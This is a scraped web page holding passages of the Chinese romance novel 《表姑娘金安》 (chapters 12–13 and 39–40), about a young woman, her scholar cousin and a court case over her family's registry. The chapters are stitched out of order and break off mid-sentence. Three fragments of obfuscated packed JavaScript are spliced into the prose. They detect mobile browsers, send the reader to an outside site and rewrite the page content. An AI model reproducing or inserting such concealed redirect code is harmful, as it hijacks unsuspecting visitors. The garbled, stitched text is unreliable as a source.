“表哥果真料事如神,盛三在外头发疯的事闹起来了,外祖母已经知道,为我做主拒绝了婚事。”她说着,又偷偷去瞄他,见他不吭声,斟酌着继续往下说,“表哥是怎么叫盛三显露出本性的。” 她是真的好奇。 “我认识一个会障眼法的人,让陈叔配合着,趁盛家人不注意把盛三引出了家门。陈叔寻了些江湖用的迷|幻药,盛三自然就上当露出本性。” 方瑀珩在开口前,轻轻舒了一口气,让自己的声音听起来不那么紧绷。 这事听着简单,但秦宝姝知道配合起来要万无一失,那可就不简单了。 她是真心感激和崇拜:“表哥不愧是本朝最年轻的举人老爷!” 话落,她又想起来什么,眉头都纠结到了一块。 “那我要怎么才能报答表哥这份恩情呢。”她觉得给银子太俗了。 但除了银子,她还真没有别的能给。 方瑀珩就看了她一眼,压下心里真实的想法,淡声道:“先欠着,等我想好了,再找你。” 秦宝姝不疑有他,解决盛三说亲的事,她高兴得很,连连点头:“那就这么说好了。” 答应之后,她又后知后觉想起来,往后自己可能极少再主动来找他了。 那颗珍珠是方瑀珩特意找回来的,其中代表着什么……她有大胆的猜测,却也不敢猜测,而且听说他老师有意把嫡亲孙女许配给他,她更不能恩将仇报毁他前程。 秦宝姝就如同方瑀珩知道的那样,是一个爱缩进壳子里的小乌龟。给自己找到退缩的理由后,哪怕心里再难受,也是笑盈盈地站身,装作一派豁达的告别。 “表哥如今是大忙人,我就不多叨扰了,万一再被别人瞧见,闹出误会,毁了表哥的名誉可就不美了。” 说罢,她抬头挺胸地大步往外走,迈过门槛后还回头一脸轻松地给他挥手。 方瑀珩就那么安静地看着她离开,凤眸内一片沉色。 他不阻拦,是怕她躲得更远。左右用‘恩情’锁住她了,他也正好冷静几日,彻底想清楚究竟该不该踏出那样一步。 如果他们有了羁绊关系,把她牵连进危险中,他是否又有护她周全的能力? 秦宝姝从跨院离开,以为自己还要哭鼻子,可很奇怪的,她一点也不想哭。 为什么呢? 秦宝姝自己一时也说不明白,或许是她知道,自己如若想要再见他,其实还有报恩这个借口可用吧。 拂风还在边上担忧,脑海里都在反复排演姑娘若是伤心太过,要该怎么安慰。结果等啊等,没等到姑娘眼泪汪汪,等到了一句:拂风我饿了。 这日中午 12. 第 12 章 《表姑娘金安》全本免费阅读 秦宝姝不用抬头看,从熟悉的熏香味中已经知道自己撞的是谁人。 和那人打交道太多年,很多时候她还鸠占鹊巢,霸占了他的屋子,成日在里头躲清净。 他身上那股淡淡的冷香,十年如一日,她如何可能认不得?! 人是认出来了,同时更为心惊,甚至可以说是毛骨悚然之感。 “姝表妹,多日不见,你这闷头走路的毛病还是没改。”方瑀珩清越的嗓音在她耳畔响起。 像是投入湖中的石块,在秦宝姝心湖上掀起了一片浪花。 她下意识地脱口而出:“你怎么会在这!”说着还往后要退开。 这一退,她才发现自己不知何时被方瑀珩揽了腰,他的手掌此刻正稳稳地贴在她腰后,让她退无可退。 方瑀珩瞧见她大惊失色,余光扫了一眼自己扶着她腰的胳膊,在她惶恐的眼神中缓慢收回手。 “表妹这话问得好生奇怪。”他垂眸,若无其事地整理袖口,“我不在这,该在哪?你一头扎我怀里,撞得我差点一口气没喘上来,倒是理直气壮先盘问我。” 秦宝姝兔子一样向后跳开,杏眸瞪得圆溜溜,方才被他手掌的紧贴的那片肌肤好像在发烫。 “谁……谁盘问你了!”秦宝姝努力去忽略他语句里的暧|昧,争辩的话刚出口,人也跟着愣住了。 不对,方瑀珩动作再快,也没办法从离后宅更近的花园绕到前院,再从前院的方向先一步来到游廊上。 “所以,表妹认为我应当在哪里?”方瑀珩敏锐察觉到她情绪不对。 撞上自己之后,她明知道是他,却像是受了大惊吓,然后又说他不该在这。像是遇到了什么事,还是有关他的事。 被再一次反问,秦宝姝慌乱的一颗心也冷静下来了,望着丰神俊朗的年轻公子,她眼神却依旧惶然。 “你在这里,那八角亭里的是谁?!”她说着,脸色都跟着发青,“林大姑娘明明在花园的八角亭里,喊了你的名字!” 林大姑娘? 方瑀珩皱眉,在脑海里搜寻了一遍,实在是对此人没有印象,便朝身后的砚书看了一眼。 砚书心领神会,当即朝秦宝姝所说的花园的八角亭跑去。 方瑀珩在人离开后,肯定地说:“我不认识什么林大姑娘。” “那林大姑娘认识的……是哪个你?!” 秦宝姝在大白天里狠狠打了个寒战。 如若那人不是方瑀珩,是有人冒充? 真相肯定是如此,秦宝姝思绪更乱了。 这事过于匪夷所思,而且暴露的可能性极高,她实在想不明白谁会如此胆大包天! 方瑀珩见她两条柳眉都快拧成一团,抬手把腰间淡青色的荷包摘下,抛到她手里。 “先压压惊,此事暂时别声张。你最好从哪里出来的,回哪里去,我还得去颐安堂见伯爷和老夫人,回头你空了直接到跨院等我。” 秦宝姝手忙脚乱接过东西,他已经抬脚离开,一路顺着游廊往议颐安堂去。 为此,秦宝姝又多了一个猜测,喃喃道:“是谁得知表哥要去颐安堂,所以才敢大胆地顶着表哥的身份,和林大姑娘私会?” 拂风心惊地说:“指不定就是姑娘想的那样,那必定是和表公子熟悉的人!” 眼下说再多,也只能是个猜测,秦宝姝低头扫一眼荷包,把它塞进袖子里,去牵了拂风的折返。 她还是先回表姐的闺房再说。 可能是越怕什么越坏事,秦宝姝前脚刚迈过门槛,林大姑娘就一脸喜色地出现在她身后。 拂风紧张得面无表情,扶着自家姑娘进门,秦宝姝一路走来,倒是淡定多了,甚至还主动回头,和林大姑娘打了声招呼。 林大姑娘满心都是见过‘情郎’的欢喜,忘记了针锋相对,朝她笑着点点头。 头刚点完,林大姑娘反应过来了,顿时下巴一抬,挤到她前面,还不屑似的嗤笑一声,趾高气扬先进了屋。 秦宝姝:“……” “她在高贵个什么劲儿?!”拂风被气着了。 秦宝姝抬手压了压拂风胳膊:“没事,起码没对我们起疑。” 就是不知道私会的事真相大白后,会是怎么个收场。 再回到冯淑晨的闺房,秦宝姝哪怕心不在焉,也得装出和平时一样。 好不容易等来下人说该入席用午饭了,她才在喧闹声中 13. 第 13 章 《表姑娘金安》全本免费阅读 日光一寸一寸地从天空正中往西偏移,洒落在方瑀珩的手边,他眼前的书页染了光,有些许的泛黄。 他放下书本,发现一个时辰前点的沉香已经燃尽,鎏银的如意纹镂空香炉闪动着冷光,仿佛在提醒他屋内的清冷。 这个时辰后宅应该散宴了,秦宝姝却迟迟不见人影。 “砚书。”方瑀珩喊了一声。 砚书正拿着根筷子当剑比划招式,听到召唤把筷子往发髻上一插,探头看向书案。 “公子有什么吩咐?” 这头话音还没落下,门外响起高高的询问声:“表弟在家吗?” 方瑀珩的话尽收了回去,示意砚书先去开门。 自从中举,他这个跨院时不时就会有人喊个门,不过这会儿来的也不算是稀客。 砚书转身一路跑过庭院,打开门,就瞧见剑眉星目的平西伯世子冯正清。 冯正清看见砚书发髻里的筷子,先是一愣,然后笑着拱手问:“珩表弟在忙?” “世子请进。” 方瑀珩的声音从屋内传出来,紧接着,冯正清见到正主信步走来。 他一身道袍,随意用了根木簪挽着头发,简单几步路都被他走出一种不染尘埃的淡泊。 方瑀珩在打量间已经来到门口相迎,冯正清笑道:“要不是你考了功名,你总这样穿,我都要误以为你准备出家修道去了。” “世子今日沐休?” 方瑀珩比了个请的手势。 “不进去坐了。”冯正清摆摆手,说出来意,“明儿晨儿出嫁,特意告了两日假,四弟也赶回来了,这会正在祖母跟前闹腾。” “祖母说既然兄弟姐妹都在家,让我们这些年轻的晚辈,晚上就都在颐安堂用饭。正好你帮我个忙,考考四弟学问,给他的书也不知道他看进去多少。就是走武将的路子,字也得认全啊。” 冯正清是长房嫡长子,今年二十二,已经娶妻,在禁卫军任职,是冯家比较常和方瑀珩来往的一个。 他嘴里的四弟是嫡亲弟弟,十七的少年性格过于冲动,年初被他父亲找了个师傅,带出门去游历,想要让他多长见识也好压压脾气,中秋都没能赶回来。 可能是这些年平西伯府式微,冯老夫人就更爱热闹了。她对晚辈尤其慈祥,一年总有几回要把家里的晚辈都聚到一块,不管是亲的还是表的,热热闹闹吃顿饭,她就能高兴许久。 而在冯家借住的表亲们都期盼这样的机会,这能让冯家人都瞧见自己,若出色被注意上了,往后的路总不会走得太难。 但方瑀珩向来少露面,今日冯正清亲自来请,他也不好拂了对方的脸面。 “我换身衣裳就过去。”他唇边是淡淡地笑。 冯正清闻言彻底松一口气,心道好歹完成父亲交代的任务了。 自打方瑀珩的及冠礼跑去了黎家,他没少被父亲叨念,说他平时跟方瑀珩的交往都白费功夫。 可人和人之间的情谊,哪里是做表面功夫得来的,他首次如此直观地发现父亲的功利。 冯正清和他约定了时辰,满心感慨地离开。 砚书重新把门关上,想到什么:“原来是四公子回来了,怪不得迟迟不见表姑娘过来,估计在那儿绊住了。” “聒噪。” 本是无心的一句,惹得年轻公子冷冷地一声斥。 砚书立马闭上嘴,在冷风中缩了缩脖子。 他怎么就忘记了,他们家公子不怎么喜欢四公子冯正铭。 秦宝姝确实是因为冯正铭归家,被迫在颐安堂久留。 冯老夫人大半年没见小孙儿,先是一顿嘘寒问暖,然后就拉着人问这一路的经历。家里的晚辈不好扫老人的兴,谁都没告退,陪着老人听个热闹。 “我说你爹就是个狠心的,你离家的时候还下着大雪,如今也是冒着冷风回的家!让你连中秋团聚都没赶上,你姐姐今早还在念叨你!” 冯正铭把经历简单地说了,就又被祖母拽在跟前仔细打量,一个劲儿心疼地说瘦了。 冯老夫人身侧的位置从来都是冯淑晨和秦宝姝的,此时冯正铭就站在秦宝姝一侧,老人说话的时候,他找了个空隙朝安静的少女眨了个眼。 是无声地求救。 秦宝姝抬着水润的一双杏眸,回他一个无能为力的表情。 外祖母正高兴着呢,怎么能这会儿让他逃脱。 冯正铭被拒绝,黯然伤神。 ——半年多不见,姝妹妹对他生分了! 倒是他亲姐姐瞧见弟弟生无可恋的模样,好笑地把他从老人‘魔掌’里抢了出来。 冯淑晨说:“祖母,你瞧他一身衣服,脏得走两步都在落灰,没得再把你呛着了,让他先回去换一身干净的再过来。” 这可把冯正铭感动得就差深揖一礼,逃也似的跑出了颐安堂。 冯老夫人今日早早起身,这会确实也有点精力不支,秦宝姝就和冯淑晨把老人扶回屋,让老人好趁机会歇一歇。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912642|135573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后把东西都转交给身后的夏大人:“夏主事,你去户部查验一趟。” 接下来就是让人煎熬的等待,当然受煎熬的傅老夫人。 大约小半时辰,夏主事跑得一头汗回来,在傅老夫人伸着脖子想看手里卷宗的期待中,扬声道:“秦姑娘的户籍与所有的引路文书都是登记在册的,做不得假。” “不可能!” “如何不可能!”宋少卿最烦就是断这种家务事,只是今日断的还是一桩乱攀咬的,“户籍上明明白白写着,你嘴里的秦月娘就不是秦姑娘的祖母,她随的父姓,父亲也是随的父姓!白纸黑字,如何作假?人祖母姓卫,名珂!” “怎么可能!她爹明明就是秦月娘的儿子!如若不是,怎么就那么巧,名字年纪都一样!这些东西就是后来造的假!” “不可理喻。”夏主事都看不下去了,怒喝,“你这话是说我们大理寺联合户部官员,给秦姑娘做假证?!” 一直不曾吭声的向氏终于有了动作,把婆母劝着重新坐下,哀求道:“母亲,这里是大理寺,不可无礼啊。” 傅老夫人冷笑,甩开儿媳妇又站起来说:“她身边跟着的那个老仆,姓陈,也是我傅家的逃奴!怎么事事都那么巧合啊,我有人证!” “人证?”秦宝姝也不忍她了,“如若你所谓的人证都是你傅家的人,那他们要说你傅家还是这江山的主人,朝廷也要认不成?!” 一句话就是扣了个大帽子,傅老夫人气得直发抖,指着秦宝姝骂贱人。 宋少卿听着这般犀利的言辞,扫了一眼秦宝姝,秦宝姝立马道歉:“是小女子无状,只是一时气恼,不知道为何会被这疯妇缠上,含血喷人。” 宋少卿再次一拍惊堂木,是定了论。 “傅董氏提供的秦月娘身契画押字迹,以及傅文谨的书写画押字迹,与卫柯、秦文谨两人不一,且户籍引路文书为证,秦文谨非傅文谨。傅董氏,你还有什么异议?” 原来傅老夫人敢告到大理寺,是手里还留着秦月娘的身契,还有庶子的字迹,想要通过比对来赢得这场官司。 可惜,当年正是秦父知道生母身契会成为大患,还有他在傅家生活过肯定会留下书信字迹等,才早早做了准备。 江南年年洪灾,出逃的百姓淹死饿死的百姓数不胜数。所以他是钻了这个空子,在重新盘查户籍的时候,花了些银子打通官府,这才有了如今户籍引路文书,好让女儿不再有后顾之忧。 秦宝姝接过夏主事递回来的户籍,小心翼翼地重新锁进盒子里。 她终于明白,父亲为何说这盒子里的东西,就是她以后的身家性命,必须放好了。 秦宝姝想到父亲,眼眶微红,傅老夫人不接受结果,大闹大骂,她都懒得理会。 老虔婆认不回她,作不起妖了,但她可不想就这么轻易放过! 秦宝姝和冯大老爷出了大理寺,冯大老爷拍拍她肩头:“我们姝儿啊,长大了。” 少女正想说什么,就听见傅老夫人尖叫的声音从身后传来,然后就那么被衙役给拽出了大理寺。 而她人刚出现,就有家仆打扮的傅家人上前哭喊着:“老夫人,老夫人不好了,我们租住的宅子,他们说卖掉了。新的屋主说他们没收过我们的银子,正把我们的东西往外扔呢!” 39. 第 39 章 “什么叫我们没有给银子!银子分明就交过了!”傅老夫人尖锐的声音响彻胡同,引得路过行人纷纷侧目。 仆妇只呜呜哭作一团,问什么都是反复那样一句话。 向氏只能开口,搀扶着婆母,低声道:“我们还是快回去看看吧,当初交的是半年的银子!” 想到半年的租赁银子足足二十两,租的还是那么个一进小破宅子,傅老夫人心头都在滴血。 接连的打击,叫她心里积压的火气无处发泄,儿媳妇又在她耳边催促一句:“母亲,我们快走吧。” 傅老夫人邪火冒顶,扭头就一巴掌甩在向氏脸上。 向氏被扇得脚下不稳,重重跌倒在地,整个人一动不动。 正要上马车的秦宝姝也被那清脆的巴掌声吓一跳,回头去看,向氏狼狈地半趴在地上。不知道是被打懵了,还是摔疼了,好半会都没动,双眼空洞洞地盯着地面看。 向氏唇角渗出的血,就那么一滴一滴掉落在地上。 傅老夫人的蛮不讲理,让冯大老爷都看得眉头紧皱。 而傅老夫人在外头还是要脸面的,从来不会当着人面苛待媳妇,今日是实在没忍住,见到向氏在那不动,四周都是停下来看戏指指点点的人,老脸一阵火辣辣地烧着。 “没用的东西,还不快点把你们太太扶起来!都是死人不成!”傅老夫人丢下一句话,自己提着裙子气呼呼上了青棚马车。 那几个仆妇这才七手八脚去扶人,向氏可能真的摔伤了,一动就皱眉,仆妇们合力也没把人扶起来。 秦宝姝就见向氏自己也艰难用手撑着尝试起身,她目光在向氏的手背一扫,看向车雪晴:“怪可怜的,帮一把吧。” 车雪晴低声说了姑娘还是心善,上前去,在那几个仆妇紧张的表情中一把就向氏懒腰扛起来,然后把人丢到马车上,拍拍手回来了。 那几个仆妇都被她的力气吓着了,向氏更是许久都不曾回神,甚至还又挨了傅老夫人一巴掌。 “你做这个死样子给谁看!你就是作死想让别人看我的笑话!” 向氏脸上火辣辣地疼,她垂了头,藏在衣袖里的手一点点攥紧,牵动了昨日被婆母用脚踩过的那块伤,疼得她几乎落泪。 “——是媳妇没做好,母亲教训的是。”她无比卑微地认错。 婆媳俩的马车走远,秦宝姝和冯大老爷也打道回府,冯大老爷对刚才的事十分的不屑。 “满京城也找不来这样的泼妇,居然当街就掌掴儿媳,还大儒妻子,傅老在黄泉下恐怕也没想到,傅家会有今日!” 秦宝姝望着从帘子缝隙透进来的光束,眼眸跟着晃动的光束闪烁着:“他当年不把我祖母当人看,就可知秉性恶劣,不过是徒有虚名,傅家没落不是没有缘由的。” 京城里越是有头有脸的人家,越不会对庶出的子女做出苛待的事,更别提直接当街扇儿媳巴掌。谁知道以后家里出息的是哪个子女,一家人都该齐心,不然一盘散沙,只会没落得更快。 伯府里庶出的三房,有时候吃的用的比长房都好,就连官职也是她大舅舅用一次晋升机会,才换来三舅舅顺进了军营。 三舅舅在进军营之前,都在府里打理庶务,再累的事都是亲自去跑,从不让兄长们费心。正是伯府三兄弟情深深厚,哪怕是式微了,也不会出任何叫外人看笑话的乱子,反倒协力一心只想着光复门楣。 冯大老爷转念一想,可就是这个道理:“不理他们了,恶人自有恶人磨吧,我瞧着那个向氏也不是什么好人,往后还是远着他们这家子,左右彻底断掉关系了。” 秦宝姝点点头,抿唇笑:“确实是见她有些可怜,或许我这份善意,哪日就有好报了呢?” “是是,我们宝姝往后都平安顺遂!你这买宅子的动作也太快了,叫他们今夜就沦落街头吧!”冯大老爷也跟着笑,眼里都是慈爱。 “毕竟谁也不会跟银子过不去。”少女莞尔。 她现在就是闲钱多,京城的宅子也是年年涨价,未必就会亏本,还能恶心那老虔婆,何乐不为? 冯大老爷笑过后,脸色又一冷:“宝姝放心,我和你外祖母不会就这么轻易放过他们!不然我也没脸当你爹的大舅兄!” “大舅舅消气,等西南那边的人到了,自然有他们傅家吃苦头的时候。”秦宝姝垂着眸,长长的睫毛遮盖了眼里的冷光。 父亲和祖母的仇,自然不能就这么算了。 两人安然回到伯府,听闻大理寺那边认定是诬告,最高兴的就是冯老夫人,再听说那老虔婆今夜还不知道哪里落脚,更是解气。 “但也要小心他们穷凶极恶!”冯老夫人嘱咐,“这些日子你都别往外跑了,让老陈进府来,省得那黑心肝的再对你做什么!” 秦宝姝思索了一下,问:“那我可以去跨院走动吗?” 冯老夫人:…… 冯大老爷也是一愣,然后咳嗽一声:“兄妹间走动,这有什么的。” 上回妻子还提醒他,说方瑀珩对外甥女似乎不一样,他还把妻子说一顿。如今看来,两人早就你有情我有意,只是瞒着长辈而已。 方瑀珩确实是个有胆识也有手段的,更要紧的事,往后前途无量啊。母亲的担忧顾虑他不是不知道,可为何要放弃眼前的好苗子,非得再拔根不知底细的? 并非所有世家子弟都能靠着家里飞黄腾达的,他自己养的孩子没出息吗?并不是,只是时也运也,生在好家族又如何,还不是只能靠自己一步一步去扎根,立足! 所以,冯大老爷觉得如若外甥女真能和方瑀珩定下,是门好亲事,如此一来,也不用担心方瑀珩最后和冯家走远了。 当然,如若那玩意是个混账,那他宁愿把方瑀珩赶出去,也不会叫外甥女嫁他。 儿子居然向着方瑀珩,冯老夫人立马就瞪眼了。 然而瞪眼归瞪眼,她还是冷静的,脑海里都是方瑀珩之前说的那句:“你可问过她真正的心意和想法?” “可以去,不过得让王妈妈跟着。”冯老夫人还是退了一步。 如若拦得太狠,两人再私下见面发生了什么无法挽回的事,她才会悔恨一辈子。 她信得过外孙女,可信不过那满肚子计谋的小子! 秦宝姝先是垮了脸,不过下一刻就又笑了,立刻就站了起来,朝王妈妈说:“妈妈,我们走。” 冯老夫人:…… 这就要走?!是真一点也不体谅她这个当外祖母的心情吗?! 秦宝姝见老人愣住了,忍不住捂嘴笑:“我怕您一会反悔了,我正好有事要找表哥商量,有王妈妈在,你也放心不是?” 如此还能说什么,只能是放人走了,冯大老爷坐在原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924172|135573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位闷声笑,招来老母亲厌烦的一句:“你给我滚!等四郎知道你干的事,骂你胳膊往外拐的时候,我看你怎么收场!” 冯正铭只有在冬至那日被放出来了,现在还在屋里关着呢。 冯大老爷一提小儿子就头疼,“他个浑小子,宝姝跟他不合适。他从小就一根筋,还想着强扭的瓜也能甜,宝姝那孩子,绝对不会愿意嫁给家里任何一个姓冯的表兄。” 其实他何尝没想过撮合外甥女和家里的小子,可他念头刚起,外甥女就察觉了,直言和他说,她把家里的兄长都当亲亲兄长,希望他们能找一个两情相悦又或者是可以得到娘家助力的妻子。 她把话说得这么明白,还是把自己困在出身低微四字里头,认为自己不足以匹配表兄们,生怕以后成了累赘。 这些话他从未跟母亲提起,今儿既然起了头,就一字不落地说了。 冯老夫人听得眼泪涟涟,冯大老爷站起身告退:“母亲,你再好好考虑,至于四郎那头,我会跟他讲明白道理。” 颐安堂这边散了,方瑀珩的跨院却热闹起来。 砚书开门看见她和王妈妈的时候,都是愣着的,直到王妈妈跟着秦宝姝就那么进了屋,他反应过来那真的是老夫人身边的王妈妈! 方瑀珩瞧见王妈妈,反应倒是寻常,也不故意遮掩,该干什么继续干什么,甚至都没招呼秦宝姝一声。 秦宝姝一开始还是别扭的,而且还有昨夜的事,可王妈妈在身边,何尝不是给她壮胆呢? 她往自己常坐的位置一坐,自然地伸手打开小桌子的抽屉,取出没看完的话本继续看。 砚书回过神,又屁颠屁颠地笑着去拿她专属的糕点出来。 王妈妈在边上看着,当即明白两人私下相处不是一年两年了,不然怎么会如此熟稔,但全家人都没发现! 方瑀珩这才处理好自己的事,从小书桌起身,见王妈妈站得笔直,唇角啜着笑说:“妈妈坐吧,不然站时间长了,腿脚难受。” 王妈妈:…… 所以,表姑娘以往在这跨院一待是多久?! 秦宝姝亦让拂风把糕点端到王妈妈跟前:“妈妈快坐,就当自个地方,这些糕点都是我精挑细选的,每一样都好吃!你尝尝!” 王妈妈只觉得这跨院的地都烫脚,恨不得立马离开,可有着主子交代,也不能走啊,只能干笑一声,在最靠门的位置坐着了。 砚书此时拿来几个马扎子,直接放在庑廊下,又去拎了个红泥小炉出来,拂风和车雪晴自然而然就在外头,和他一块围着炉子坐下……嗑瓜子。 王妈妈感觉头有点晕。 方瑀珩已经在秦宝姝边上坐下,秦宝姝正挑糕点,想着先消灭哪一块,他坐下时宽大的袖袍扫过她手背,他指尖也在上方轻轻一点。 这短短的触碰,吓得秦宝姝差点叫出声,抬头就见他抵拳在唇边偷笑,气得咬牙。 他故意的!恶劣的人! 可她还是有顾忌的,不好在王妈妈跟前做什么,只能憋屈地瞪他,可有人脸皮厚得很,故意问:“姝表妹这会来,是想好给我答复了?” 秦宝姝一张脸不争气的,顿时红了个透。 他、他怎么敢当着王妈妈的面如此无状! 王妈妈竖着耳朵。 答复?什么答复?怎么听着那么的暧|昧呢? 40. 第 40 章 秦宝姝知道方瑀珩是个胆大的,却不知他居然大胆到当着她外祖母的人的面,提起昨夜叫人面红耳赤的事。 她细白的牙齿咬住了唇,脑袋都像要被滚烫的脸烧开了。 她根本不敢去看王妈妈,生怕一个眼神就让王妈妈看破心思,知道了昨夜的秘密! “表哥所言甚是!”秦宝姝放在膝盖上的双手慢慢蜷缩了起来,抓皱了自己最喜欢的一条裙子,“自然是为了答复来的,莫说借个一二百两银子,就是千两万两,我能拿出来都不会拒绝!” 她也是有急智的,唯一可惜的是这番话说得干巴巴,反倒更叫王妈妈生了疑虑。 表公子找表姑娘借银子? 表公子这般的人,能开口向姑娘借银子?哪怕真的拮据,只说近收的礼,拿出去典当或者卖了都不止一二百两。 王妈妈看向方瑀珩的眼神又多了几分审视。 秦宝姝心跳怦怦作响,紧紧盯着方瑀珩,就怕这家伙捉弄她到底,来个不配合! 好在,他良知还在,就那么点了点头:“如此就谢过表妹了。” 他说着站起身,这个动作让秦宝姝又紧张起来,仰着头看他,看见他凤眸里那抹意味深长的笑。 他说:“我已经先把借据准备好了,姝表妹瞧瞧是否妥当。” 话落,他居然径直往落地罩后方的小书房去。 秦宝姝看看他离开的背影,又看看正疑惑望着自己的王妈妈,还是选择逃离王妈妈的视线。 她提着裙子追了上去,嘴里还念叨着:“你瞧瞧你,还至于写借据吗?要不还是撕了,闹得多生分呀……” 她的尾音消失在厅堂,更是消失在躲在门后的方瑀珩的掌心中。 秦宝姝刚抬脚走进小书房,就被他一手抓住肩膀,用些许的力道一带,被他抵在了门扇后。 她的尖叫被他掌心捂得严严实实,一双杏眸还是泄露出她此时的惊惶。 ——他、他这是要做什么! 王妈妈可就在外头,随时都会进来! 秦宝姝止不住咽了一口唾沫。 方瑀珩一手压着她肩膀,一手捂着她嘴,靠得自然是近的,但比起上回在木柜子里又算不上太亲近。 他仿佛很满意她选择跟了过来,从她目光送过来的时候,唇角就是一直是扬着,便是那双平时显得冷淡的眼眸都变得柔和起来了。 秦宝姝眨眨眼,示意他松手。 他看懂了,偏生不松,甚至还故意说话给王妈妈听:“亲兄妹明算账,我和姝表妹自当还是清楚明白一些的好。” 王妈妈听着这话觉得还是有些奇怪,只端坐着继续竖着耳朵听。 可秦宝姝被他捂住嘴,要配合也配合不上啊,急得伸手要掰他胳膊。 哪知他忽然倾身下来,吓得她差点连心脏都停跳了。 和昨夜一样,他呼出的温热呼吸再度撩过她耳畔,引起她不由自主的颤栗。 “姝表妹既然都带着王妈妈来壮胆了,难道真不是为给我答复而来?” 秦宝姝脑袋里轰隆一声,心里有个声音在叫喊着该来的还是要来,这一瞬间,她简直要被他逼疯了! 她是借王妈妈壮胆,但真的不是来给答复的,正是因为仗着王妈妈在,才敢来!不然她指定要再躲上几日! 哪知她就那么落入他‘逼供’的陷阱中! 而方瑀珩心思慎密得很,知道她没法说话迟早要引人怀疑,自顾自话地又开口:“表妹怎么不说话,生气了?” 秦宝姝被他的不要脸气得想咬死他! 所以她算不算自投罗网?! 然而就在她气得眼尾都发红的时候,他却毫无预兆的撒手了,指腹轻轻拂过她眼尾,笑得有几分无奈,压低的声音只得他们两人才能听见。 “你是准备又躲起来了,也罢……” 他往后退一步,转身走到小书桌前,随意拿起一张纸撕碎扔地上,声调又恢复了正常:“这般总行了?也罢,有王妈妈当见证人,我就谢过表妹了。” 秦宝姝还靠在门扇后,听见他又一声的‘也罢’……明明已经不是在等她答复了,听着却更叫人揪心。 她是真的过分了。 开口的勇气怎么就不见了。 秦宝姝知道自己再一次伤了他的心,沮丧地耷拉了脑袋,这么一瞬对自己有那么几分痛恨的。 她想着不留遗憾,但他给到回应之后,她反倒更不敢迈开步子,又钻入先前的死胡同里。 她心里止不住难过起来。 方瑀珩撕掉纸条后,就起身往外走,走到她跟前的时候,抬起了手。 她有所察觉的缩了缩脖子。 他看得好笑,手掌心还是落在她柔软的发顶,轻轻揉了揉。 她还是一动不动。 方瑀珩微微弯着腰,去看她的双眼,看见她因为自责开不了口而泛红的眼眸,唯有心疼。 终究是叹气一声,低声道:“不能怪你,是我一直没说过,我早知道你想要招婿……而我,从来不介意别人怎么看我、说我。” 他的手再次揉了揉她脑袋,先出去了。 秦宝姝震惊地抬头想要拉住他的时候,伸出去的手指只碰触到了他袖角,然后捞了个空。 她怔愣在原地。 王妈妈在外头发现忽然没声音了,心里还紧张了一下,看见方瑀珩露面,却迟迟不见秦宝姝,心里更奇怪了。 王妈妈再也坐不住,起身往小书房走,刚走到门口就瞧见一地的碎纸,还有在门边出神的少女。 “表姑娘……”王妈妈瞧见她眼睛红红的,彻底相信刚才两人起冲突了。 可进屋之前还好好的,似乎也没吵起来啊。 正是王妈妈疑惑的时候,呆站着的秦宝姝忽然动了,直接跑出了小书房,来到已经坐下喝茶的年轻公子。 “再给我三天时间!”她声音大得吓人,朝着方瑀珩比着三根指头。 庑廊下嗑瓜子的三人都被惊动了,纷纷在门口探头,想看看究竟怎么回事。 哪知说完三天的秦宝姝,扭头就又往外跑。 王妈妈在她身后喊:“姑娘!你这是要回去了?!” 拂风和车雪晴也慌慌张张跟上去。 结果那个跑到院门口的少女猛地又刹住脚步,伸手一拍脑门:“完蛋,重要的事忘记了!” 她咚咚咚就跑了回去,好不容易追上她的三人,眼睁睁就又看着她进了屋。 方瑀珩正皱眉在思考她说的三天时间,是三天之后就接纳他了,还是三天之后再给别的回复, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12939013|135573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道是他说的不够清楚?! 她去而复返的身影就又闯入眼帘,喘着气,重新在他边上坐下。 “我、我有别的事和你商量!” 她急得鼻尖都冒了汗,方瑀珩抬眸就看到她在紧张巴巴地瞅自己,见他不说话,那双红唇渐渐抿了起来,仿佛下一刻就要瘪嘴哭给他看的委屈模样。 他忽地就笑了,然后手掌心翻开,朝她一伸:“额外的价钱了,姝表妹。” 秦宝姝:…… 心里那些紧张,就在他的不正经中散去了。 她也伸手,然后重重拍在他掌心中,疼得自己也咧牙:“你什么时候掉钱眼里去了!一个子也没有,但你就得帮我!” 秦宝姝在自己理直气壮的话后也笑了,长长舒了一口气。 “我总感觉那老太婆不对劲。她千里迢迢过来,肯定也有做好认不回我的准备,如若是这样,她后面谋划的又是什么?”她低声说着,神色逐渐凝重,“我有个想法,有点冒险,但应该可以一试,或许就能够知道还有陷阱在等着我。” 方瑀珩扫了一眼通红的手掌心,朝着她晃了晃,是在示意什么。 秦宝姝把他手给推开:“说正事,算是打平手,你方才也算计我!” 